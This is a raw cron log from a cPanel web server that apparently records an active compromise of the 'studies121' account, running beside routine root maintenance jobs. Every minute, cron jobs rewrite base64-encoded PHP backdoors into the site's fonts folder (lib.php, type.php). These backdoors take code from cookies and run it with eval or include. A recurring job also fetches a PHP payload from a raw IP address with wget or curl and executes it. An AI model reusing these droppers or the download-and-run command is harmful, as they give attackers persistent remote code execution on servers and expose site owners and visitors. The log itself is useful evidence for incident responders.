Sep 21 13:20:01 ip-184-168-122-23 CROND[10773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:20:01 ip-184-168-122-23 CROND[10775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:20:01 ip-184-168-122-23 CROND[10777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:20:01 ip-184-168-122-23 CROND[10776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:20:01 ip-184-168-122-23 CROND[10778]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 13:20:01 ip-184-168-122-23 CROND[10779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:20:01 ip-184-168-122-23 CROND[10780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:21:01 ip-184-168-122-23 CROND[10935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:21:01 ip-184-168-122-23 CROND[10938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:21:01 ip-184-168-122-23 CROND[10937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:21:01 ip-184-168-122-23 CROND[10939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:22:01 ip-184-168-122-23 CROND[11189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:22:01 ip-184-168-122-23 CROND[11190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:22:01 ip-184-168-122-23 CROND[11193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:22:01 ip-184-168-122-23 CROND[11194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:22:01 ip-184-168-122-23 CROND[11198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:23:01 ip-184-168-122-23 CROND[11310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:23:01 ip-184-168-122-23 CROND[11311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:23:01 ip-184-168-122-23 CROND[11312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:23:01 ip-184-168-122-23 CROND[11315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:24:01 ip-184-168-122-23 CROND[11478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:24:01 ip-184-168-122-23 CROND[11479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:24:01 ip-184-168-122-23 CROND[11483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:24:01 ip-184-168-122-23 CROND[11485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:24:01 ip-184-168-122-23 CROND[11484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:25:01 ip-184-168-122-23 CROND[11592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:25:01 ip-184-168-122-23 CROND[11594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:25:01 ip-184-168-122-23 CROND[11591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:25:01 ip-184-168-122-23 CROND[11590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:25:01 ip-184-168-122-23 CROND[11593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:25:01 ip-184-168-122-23 CROND[11597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:26:01 ip-184-168-122-23 CROND[11765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:26:01 ip-184-168-122-23 CROND[11768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:26:01 ip-184-168-122-23 CROND[11767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:26:01 ip-184-168-122-23 CROND[11766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:26:01 ip-184-168-122-23 CROND[11769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:27:01 ip-184-168-122-23 CROND[11912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:27:01 ip-184-168-122-23 CROND[11914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:27:01 ip-184-168-122-23 CROND[11918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:27:01 ip-184-168-122-23 CROND[11917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:28:01 ip-184-168-122-23 CROND[12143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:28:01 ip-184-168-122-23 CROND[12145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:28:01 ip-184-168-122-23 CROND[12146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:28:01 ip-184-168-122-23 CROND[12150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:28:01 ip-184-168-122-23 CROND[12151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:29:01 ip-184-168-122-23 CROND[12267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:29:01 ip-184-168-122-23 CROND[12268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:29:01 ip-184-168-122-23 CROND[12270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:29:01 ip-184-168-122-23 CROND[12272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:30:01 ip-184-168-122-23 CROND[12399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 13:30:01 ip-184-168-122-23 CROND[12403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:30:01 ip-184-168-122-23 CROND[12402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:30:01 ip-184-168-122-23 CROND[12405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:30:01 ip-184-168-122-23 CROND[12407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:30:01 ip-184-168-122-23 CROND[12409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:30:01 ip-184-168-122-23 CROND[12410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:30:01 ip-184-168-122-23 CROND[12412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:31:01 ip-184-168-122-23 CROND[12578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:31:01 ip-184-168-122-23 CROND[12582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 13:31:01 ip-184-168-122-23 CROND[12580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:31:01 ip-184-168-122-23 CROND[12583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:31:01 ip-184-168-122-23 CROND[12581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:32:01 ip-184-168-122-23 CROND[12730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:32:01 ip-184-168-122-23 CROND[12732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
